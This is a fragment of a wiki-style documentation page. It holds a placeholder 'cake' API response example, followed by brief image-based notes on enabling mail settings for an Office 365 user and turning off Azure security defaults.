| {% tabs %} {% tab title="200 Cake successfully retrieved." %} ``` { "name": "Cake's name", "recipe": "Cake's recipe name", "cake": "Binary cake"} ``` {% endtab %} {% tab title="404 Could not find a cake matching this query." %} ``` { "message": "Ain't no cake like that."} ``` {% endtab %} {% endtabs %} # MISC. # enable snmp office365 enable snmp office365 ![](/files/-MXh01E2UoVGyrIbw7SK) ![step 2 click a user and click manage email apps](/files/-MX7nX7vdxVFU2byI12t) ![Check the box](/files/-MX7o0LLF5Q84hq-BzMJ) Go to Azure turn off default security ![disabling security defaults](/files/-MXh1vAkdRSlkD0-dS2T)